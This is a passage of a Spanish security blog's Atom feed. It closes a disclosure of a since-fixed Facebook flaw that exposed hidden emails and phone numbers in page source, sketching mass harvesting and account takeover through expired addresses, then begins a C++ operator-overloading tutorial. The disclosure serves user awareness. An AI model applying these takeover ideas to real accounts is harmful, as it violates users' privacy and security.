href="http://4.bp.blogspot.com/_i-43lFP4TnI/TSK33cxZ1SI/AAAAAAAAAHU/B-CyzYGJGzE/s1600/aaa3.JPG" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="151" src="http://4.bp.blogspot.com/_i-43lFP4TnI/TSK33cxZ1SI/AAAAAAAAAHU/B-CyzYGJGzE/s320/aaa3.JPG" width="320" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;Dirección oculta. ¿Oculta?&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;No precisamente oculta, si revisan el código fuente de esa misma pagina, encontraran la dirección completa:&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="border-collapse: separate; color: black; font-family: 'Times New Roman'; font-size: small; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"&gt;&lt;span class="Apple-style-span" style="font-family: monospace; white-space: pre-wrap;"&gt;"contactInfo":{"email":["Aquí el mail."]}&lt;/span&gt;&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;¿Cual es el problema con este pequeño fallo?&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Básicamente son tres:&lt;br /&gt;&lt;br /&gt;1) Permite a un atacante obtener una dirección que en principio podría estar oculta intencionalmente. En este caso, la dueña del perfil del ejemplo tenia su dirección oculta incluso para los contactos de su lista, sin embargo puede obtenerse fácilmente sin siquiera iniciar una sesión. Si se salta el captcha incluso se puede automatizar la tarea para obtener direcciones en forma masiva.&lt;br /&gt;&lt;br /&gt;2) La dirección de mail puede no estar activa, y en ese caso alguien podría registrar nuevamente dicha dirección y modificar la contraseña del perfil de Facebook de la victima.&lt;br /&gt;&lt;br /&gt;3) Permite a un atacante saber fácilmente cual es el mail ligado a la cuenta de Facebook y las consecuencias que esto conlleva.&lt;br /&gt;&lt;br /&gt;-----------&lt;br /&gt;&lt;br /&gt;Este error no involucra solamente a la dirección con la cual se registro la cuenta de Facebook, si no con todas las direcciones de correo asociadas a la cuenta, &lt;b&gt;e incluso también el numero de movil&lt;/b&gt;.&lt;br /&gt;En conclusión, cuidado con los datos que asocian con su cuenta de Facebook ya que no están &lt;b&gt;para nada &lt;/b&gt;protegidos. &lt;br /&gt;&lt;br /&gt;Saludos!&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Update&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Al día de la fecha -08/02/2011- el fallo se encuentra &lt;u&gt;&lt;b&gt;solucionado&lt;/b&gt;&lt;/u&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1547170927549978957-194587855949446574?l=www.needofsecurity.com.ar' alt='' /&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.needofsecurity.com.ar/feeds/194587855949446574/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.needofsecurity.com.ar/2011/01/fallo-en-facebook-respecto-del-manejo.html#comment-form" title="7 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1547170927549978957/posts/default/194587855949446574" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1547170927549978957/posts/default/194587855949446574" /><link rel="alternate" type="text/html" href="http://www.needofsecurity.com.ar/2011/01/fallo-en-facebook-respecto-del-manejo.html" title="Fallo en Facebook respecto del manejo de datos en &quot;recordar contraseña&quot;" /><author><name>Matías</name><uri>http://www.blogger.com/profile/16169022480058479255</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/_i-43lFP4TnI/TSK1twBYLjI/AAAAAAAAAHI/n6rXuVm4boc/s72-c/aaa.JPG" height="72" width="72" /><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1547170927549978957.post-6032775849725518966</id><published>2010-12-21T19:36:00.001-03:00</published><updated>2011-03-10T19:06:04.177-03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="programacion" /><category scheme="http://www.blogger.com/atom/ns#" term="C++" /><title type="text">Sobrecarga de operadores en C++.</title><content type="html">Últimamente he visto algunas dudas respecto de este tema en la sección de C/C++ de elhacker.net -sección en la cual soy moderador-. Este tipo de dudas suelen ser las que mas me gustan, porque a simple vista parecen simples pero en el fondo hay una complejidad que la mayoría de las personas que están aprendiendo ese lenguaje todavía no conocen.&lt;br /&gt;&lt;br /&gt;No voy a extenderme demasiado pero simplemente aclarar algunos puntos que suelen ser los que mas dudas generan. No escribiré todo en una sola entrada por supuesto, probablemente tome varias. En esta comenzare con lo básico del tema.&lt;br /&gt;&lt;br /&gt;Otro detalle es que hace mucho que no posteo ninguna entrada relacionada a la programación, y siendo que es una de las áreas que mas me gusta creo que ya viene siendo hora. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;Introducción&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Cuando desarrollas una aplicación y se diseña la interfaz gráfica, siempre se tiene en mente el usuario final. No hay reglas generales que sirvan para diseñar una interfaz excelente que le guste a todos los usuarios, por esa razón uno trata de hacer la interfaz lo mas intuitiva posible, lo mas accesible que se pueda, y por sobre todas las cosas, fácil de manejar y de recordar.&lt;br /&gt;&lt;br /&gt;Cuando desarrollas una clase o un conjunto de estas, también realizas un producto para un usuario final, con la diferencia que en este caso el usuario final es a la vez un programador.&lt;br /&gt;Este simple hecho suele dar la falsa noción que, al ser el usuario final un programador, este tiene que entender todas las locuras que hayamos hecho a la hora de codificar. Es decir, "A fin de cuentas es un programador o no? si es muy bueno sabrá porque hice esto y aquello." son ideas que suelen existir en muchos programadores y que influyen negativamente en el resultado final.&lt;br /&gt;&lt;br /&gt;Al igual que con la interfaz gráfica de una aplicación, la interfaz de una clase también debe diseñarse. Esta debe ser intuitiva, accesible, fácil de recordar y de manejar. Es aquí cuando entra la sobrecarga de operadores.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;Para que se utiliza la sobrecarga de operadores?&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;La sobrecarga de operadores es una manera sencilla de simplificar los significados de ciertas operaciones que trabajen con tipos definidos por nosotros mismos (Lo que usualmente en C++ es una clase).&lt;br /&gt;El objetivo final es reducir la curva de aprendizaje de nuestra clase al proveer una interfaz intuitiva que sea fácil de utilizar y recordar.&lt;br /&gt;&lt;br /&gt;La idea principal radica en intentar simplificar los significados de las operaciones que realizamos con nuestras clases sobrecargando los operadores que mas se relacionen con lo que realmente se quiere hacer.&lt;br /&gt;&lt;br /&gt;Si tuviésemos una clase que contiene un entero, y quisiésemos proveer una interfaz para sumar varios objetos sin utilizar sobrecarga de operadores, tendríamos que realizar un método que sume. Por ejemplo, algo así:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div #f8f9fa;?="" background-color:="" class="cpp" courier,="" courier="" monospace;="" new?,="" style="font-size: small;"&gt;&lt;ol&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt; &lt;div style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;MiClase Resultado &lt;span style="color: navy;"&gt;=&lt;/span&gt; sum&lt;span style="color: green;"&gt;(&lt;/span&gt;Clase1,Clase2&lt;span style="color: green;"&gt;)&lt;/span&gt;&lt;span style="color: teal;"&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&lt;br /&gt;A simple vista no parece muy complicado, pero que pasa si queremos sumar 4 objetos?&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div #f8f9fa;?="" background-color:="" class="cpp" courier,="" courier="" monospace;="" new?,="" style="font-size: small;"&gt;&lt;ol&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt; &lt;div style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;MiClase Resultado &lt;span style="color: navy;"&gt;=&lt;/span&gt; sum&lt;span style="color: green;"&gt;(&lt;/span&gt;sum&lt;span style="color: green;"&gt;(&lt;/span&gt;Clase1,Clase2&lt;span style="color: green;"&gt;)&lt;/span&gt;,sum&lt;span style="color: green;"&gt;(&lt;/span&gt;Clase1,Clase2&lt;span style="color: green;"&gt;)&lt;/span&gt;&lt;span style="color: green;"&gt;)&lt;/span&gt;&lt;span style="color: teal;"&gt;;// No muy intuitivo que digamos.&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;Realmente no se ve muy agradable verdad?&lt;br /&gt;&lt;br /&gt;Ahora veamos un ejemplo sobrecargando operadores:&lt;br /&gt;&lt;br /&gt;&lt;div #f8f9fa;?="" background-color:="" class="cpp" courier,="" courier="" monospace;="" new?,="" style="font-size: small;"&gt;&lt;ol&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt; &lt;div style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&lt;span style="color: #339900;"&gt;#include &amp;lt;iostream&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt; &lt;div style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt; &lt;div style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&lt;span style="color: blue;"&gt;class&lt;/span&gt; MiClase&lt;/div&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt; &lt;div style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&lt;span style="color: green;"&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt; &lt;div style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&lt;span style="color: blue;"&gt;private&lt;/span&gt;&lt;span style="color: teal;"&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt; &lt;div style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: blue;"&gt;int&lt;/span&gt; Num&lt;span style="color: teal;"&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt; &lt;div style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt; &lt;div style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&lt;span style="color: blue;"&gt;public&lt;/span&gt;&lt;span style="color: teal;"&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt; &lt;div style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; MiClase&lt;span style="color: green;"&gt;(&lt;/span&gt;&lt;span style="color: blue;"&gt;int&lt;/span&gt; Cnum&lt;span style="color: green;"&gt;)&lt;/span&gt; &lt;span style="color: green;"&gt;{&lt;/span&gt; Num &lt;span style="color: navy;"&gt;=&lt;/span&gt; Cnum&lt;span style="color: teal;"&gt;;&lt;/span&gt; &lt;span style="color: green;"&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt; &lt;div style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/div&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt; &lt;div style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: blue;"&gt;friend&lt;/span&gt; MiClase operator&lt;span style="color: #000040;"&gt;+&lt;/span&gt;&lt;span style="color: green;"&gt;(&lt;/span&gt;&lt;span style="color: blue;"&gt;const&lt;/span&gt; MiClase &lt;span style="color: #000040;"&gt;&amp;amp;&lt;/span&gt;a, &lt;span style="color: blue;"&gt;const&lt;/span&gt; MiClase &lt;span style="color: #000040;"&gt;&amp;amp;&lt;/span&gt;b&lt;span style="color: green;"&gt;)&lt;/span&gt;&lt;span style="color: teal;"&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt; &lt;div style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt; &lt;div style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: blue;"&gt;int&lt;/span&gt; ObtNum&lt;span style="color: green;"&gt;(&lt;/span&gt;&lt;span style="color: green;"&gt;)&lt;/span&gt; &lt;span style="color: green;"&gt;{&lt;/span&gt; &lt;span style="color: blue;"&gt;return&lt;/span&gt; Num&lt;span style="color: teal;"&gt;;&lt;/span&gt; &lt;span style="color: green;"&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt; &lt;div style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&lt;span style="color: green;"&gt;}&lt;/span&gt;&lt;span style="color: teal;"&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt; &lt;div style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt; &lt;div style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt; &lt;div style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;MiClase operator&lt;span style="color: #000040;"&gt;+&lt;/span&gt;&lt;span style="color: green;"&gt;(&lt;/span&gt;&lt;span style="color: blue;"&gt;const&lt;/span&gt; MiClase &lt;span style="color: #000040;"&gt;&amp;amp;&lt;/span&gt;a, &lt;span style="color: blue;"&gt;const&lt;/span&gt; MiClase &lt;span style="color: #000040;"&gt;&amp;amp;&lt;/span&gt;b&lt;span style="color: green;"&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt; &lt;div style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&lt;span style="color: green;"&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt; &lt;div style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: blue;"&gt;return&lt;/span&gt; MiClase&lt;span style="color: green;"&gt;(&lt;/span&gt;a.&lt;span style="color: #007788;"&gt;Num&lt;/span&gt; &lt;span style="color: #000040;"&gt;+&lt;/span&gt; b.&lt;span style="color: #007788;"&gt;Num&lt;/span&gt;&lt;span style="color: green;"&gt;)&lt;/span&gt;&lt;span style="color: teal;"&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt; &lt;div style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&lt;span style="color: green;"&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt; &lt;div style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt; &lt;div style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&lt;span style="color: blue;"&gt;int&lt;/span&gt; main&lt;span style="color: green;"&gt;(&lt;/span&gt;&lt;span style="color: green;"&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt; &lt;div style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&lt;span style="color: green;"&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt; &lt;div style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; MiClase Clase1&lt;span style="color: green;"&gt;(&lt;/span&gt;&lt;span style="color: #0000dd;"&gt;10&lt;/span&gt;&lt;span style="color: green;"&gt;)&lt;/span&gt;&lt;span style="color: teal;"&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt; &lt;div style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; MiClase Clase2&lt;span style="color: green;"&gt;(&lt;/span&gt;&lt;span style="color: #0000dd;"&gt;20&lt;/span&gt;&lt;span style="color: green;"&gt;)&lt;/span&gt;&lt;span style="color: teal;"&gt;;&lt;br /&gt;&lt;br /&gt;//Intuitivo, c=a+b;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt; &lt;div style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; MiClase Resultado &lt;span style="color: navy;"&gt;=&lt;/span&gt; Clase1 &lt;span style="color: #000040;"&gt;+&lt;/span&gt; Clase2 + Clase1 + Clase2&lt;span style="color: teal;"&gt;; &lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt; &lt;div style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; std&lt;span style="color: teal;"&gt;::&lt;/span&gt;&lt;span style="color: #0000dd;"&gt;cout&lt;/span&gt; &lt;span style="color: navy;"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span style="color: red;"&gt;"El resultado es: "&lt;/span&gt; &lt;span style="color: navy;"&gt;&amp;lt;&amp;lt;&lt;/span&gt; Resultado .&lt;span style="color: #007788;"&gt;ObtNum&lt;/span&gt;&lt;span style="color: green;"&gt;(&lt;/span&gt;&lt;span style="color: green;"&gt;)&lt;/span&gt; &lt;span style="color: navy;"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&amp;nbsp; std&lt;span style="color: teal;"&gt;::&lt;/span&gt;&lt;span style="color: #007788;"&gt;endl&lt;/span&gt;&lt;span style="color: teal;"&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt; &lt;div style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt; &lt;div style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: blue;"&gt;return&lt;/span&gt; &lt;span style="color: #0000dd;"&gt;0&lt;/span&gt;&lt;span style="color: teal;"&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt; &lt;div style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&lt;span style="color: green;"&gt;}&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;No inquietarse si el código no se entiende a la primera. Ya iré explicando con detalles mas adelante.&lt;br /&gt;&lt;h3&gt;&lt;b&gt;Que tiene que ver esto con la seguridad informática?&lt;/b&gt;&lt;/h3&gt;Directamente nada, indirectamente mucho. La mayoría de las vulnerabilidades en las aplicaciones se dan por errores de diseño u por descuidos. Al proveer una interfaz intuitiva para tu clase, logras reducir la tasa de errores de los programadores que la utilicen, facilitando el desarrollo de aplicaciones mas seguras y estables.   &lt;br /&gt;&lt;h3&gt;Cuando utilizar la sobrecarga de operadores?&lt;/h3&gt;Es normal que cuando uno intente resolver un problema, analice varias soluciones posibles, y luego bajo criterio propio&amp;nbsp; elija la mas adecuada para el caso determinado. Realmente es imposible tener una regla que aplique para todos los casos, y lo que hoy es mejor para determinada aplicación, puede ser lo peor para otra, por lo tanto nunca deben tomarse reglas absolutas y siempre hay que analizar el caso en particular. Sin embargo, se pueden seguir una pauta que es clave para decidir si se debe o no sobrecargar operadores.  Muchas personas usualmente me preguntan porque se utiliza la sobrecarga de operadores siendo que los beneficios que otorga no compensan el posible desorden del código. En reglas generales respondo siempre lo mismo: La sobrecarga de operadores no se utiliza para hacernos la vida mas fácil, si no para hacerle la vida mas fácil a los otros, a los usuarios de tus clases.  &lt;b&gt;Hacerle la vida mas fácil a los usuarios finales&lt;/b&gt; de tu clase es la regla principal que se debe seguir. Si se esta seguro de poder lograrlo, perfecto, pero si no se esta seguro lo mejor es volver a analizar el caso en particular ya que tal vez sobrecargar operadores no sea necesario o incluso puede volverse perjudicial.  &lt;b&gt;&lt;/b&gt;&lt;br /&gt;&lt;h3&gt;Comenzando con la sobrecarga de operadores&lt;/h3&gt;&lt;b&gt;&lt;/b&gt;Antes que nada es esencial saber lo que es un operador. Un operador es un token que le indica al compilador que se van a realizar determinadas operaciones sobre objetos u variables –los operandos-. Es decir, si tenemos:&amp;nbsp;  a= b+c;  donde a, b y c son enteros, podemos decir que tenemos 3 operandos&amp;nbsp; (a, b y c) y 2 operadores (= y +). El comportamiento de la expresión y su significado están definidos por el lenguaje.  Ahora bien, C++ permite redefinir el comportamiento de la mayoría de los operadores para que realicen una tarea aparentemente similar a la que originalmente realizan pero con un comportamiento especifico acorde a los tipos de datos que hayamos creado, por ende podemos tener algo como: a=b+c; donde a,b y c son objetos del tipo MiClase.   Particularmente los operadores que se pueden sobrecargar son: &lt;br /&gt;&lt;blockquote&gt;&lt;blockquote&gt;&lt;b&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; *&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; /&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; %&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ^&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;amp;&lt;/b&gt;  &lt;br /&gt;&lt;b&gt;|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ~&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; !&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; =&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; +=&lt;/b&gt;  &lt;br /&gt;&lt;b&gt;-=&amp;nbsp;&amp;nbsp;&amp;nbsp; *=&amp;nbsp;&amp;nbsp;&amp;nbsp; /=&amp;nbsp;&amp;nbsp;&amp;nbsp; %=&amp;nbsp;&amp;nbsp;&amp;nbsp; ^=&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;amp;=&amp;nbsp;&amp;nbsp;&amp;nbsp; |=&lt;/b&gt;  &lt;br /&gt;&lt;b&gt;&amp;lt;&amp;lt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;gt;&amp;gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;gt;&amp;gt;=&amp;nbsp;&amp;nbsp; &amp;lt;&amp;lt;=&amp;nbsp;&amp;nbsp; ==&amp;nbsp;&amp;nbsp;&amp;nbsp; !=&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;=&lt;/b&gt;  &lt;br /&gt;&lt;b&gt;&amp;gt;=&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;amp;&amp;amp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ||&amp;nbsp;&amp;nbsp;&amp;nbsp; ++&amp;nbsp;&amp;nbsp;&amp;nbsp; --&amp;nbsp;&amp;nbsp;&amp;nbsp; -&amp;gt;*&amp;nbsp;&amp;nbsp;&amp;nbsp; ,&lt;/b&gt;  &lt;br /&gt;&lt;b&gt;-&amp;gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; []&amp;nbsp;&amp;nbsp;&amp;nbsp; ()&amp;nbsp;&amp;nbsp;&amp;nbsp; new&amp;nbsp;&amp;nbsp; new[]&amp;nbsp; delete delete[]    &lt;/b&gt;&lt;/blockquote&gt;&lt;/blockquote&gt;Los que no pueden sobrecargarse son:&lt;br /&gt;&lt;blockquote&gt;&lt;ul&gt;&lt;li&gt;Selector directo de componente &lt;b&gt;.&lt;/b&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Operador de indirección de puntero-a-miembro &lt;b&gt;.*&lt;/b&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Operador de acceso a ámbito &lt;b&gt;::&lt;/b&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Condicional ternario &lt;b&gt;?:&lt;/b&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Directivas de preprocesado &lt;b&gt;#&lt;/b&gt;&amp;nbsp;&amp;nbsp; y &lt;b&gt;# #&lt;/b&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;b&gt;sizeof&lt;/b&gt; ,&amp;nbsp;&amp;nbsp; &lt;b&gt;typeid&lt;/b&gt; (si, son operadores también)&lt;/li&gt;&lt;/ul&gt;&lt;/blockquote&gt;Cabe destacar que al sobrecargar un operador se puede modificar su comportamiento pero no cambiar el numero de operandos, ni la asociatividad ni la precedencia del operador respectivo.   &lt;br /&gt;&lt;h3&gt;Sintaxis de la sobrecarga de operadores &lt;/h3&gt;El prototipo de una sobrecarga de operador puede definirse como:&lt;br /&gt;&lt;div #f8f9fa;?="" background-color:="" class="cpp" courier,="" courier="" monospace;="" new?,="" style="font-size: small;"&gt;&lt;ol&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt; &lt;div style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&lt;span style="color: navy;"&gt;&amp;lt;tipo de retorno&lt;/span&gt;&lt;span style="color: navy;"&gt;&amp;gt;&lt;/span&gt; operator &lt;span style="color: #000040;"&gt;+&lt;/span&gt;&amp;nbsp; &lt;span style="color: green;"&gt;(&lt;/span&gt;parametros&lt;span style="color: green;"&gt;)&lt;/span&gt; &lt;span style="color: green;"&gt;{&lt;/span&gt;logica&lt;span style="color: green;"&gt;}&lt;/span&gt; &lt;span style="color: teal;"&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;Es decir, el tipo de retorno, sumado al especificador operator seguido del operador que se desea sobrecargar.  Veamos de nuevo el ejemplo inicial:&lt;br /&gt;&lt;div #f8f9fa;?="" background-color:="" class="cpp" courier,="" courier="" monospace;="" new?,="" style="font-size: small;"&gt;&lt;ol&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt; &lt;div style="background: none repeat scroll 0% 